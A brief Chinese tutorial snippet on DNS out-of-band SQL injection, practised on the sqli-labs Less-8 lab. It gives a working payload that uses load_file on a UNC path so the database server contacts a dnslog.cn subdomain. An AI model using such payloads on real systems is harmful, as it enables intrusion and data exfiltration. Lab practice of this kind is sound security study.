sql注入——dns的帶外注入

以sql labs8爲例 1.搜索dns.log在線軟件，並get一個域名 2.在cmd中ping該域名，發現解析成功 3.在sql labs8中輸入http://localhost/sqli-labs-master/Less-8/?id=1' and load_file("\\\\sss.cipv66.dnslog.cn\\xxx.txt") -- -，並執行 4.在dnslog上刷新查詢，就可

>>阅读原文<<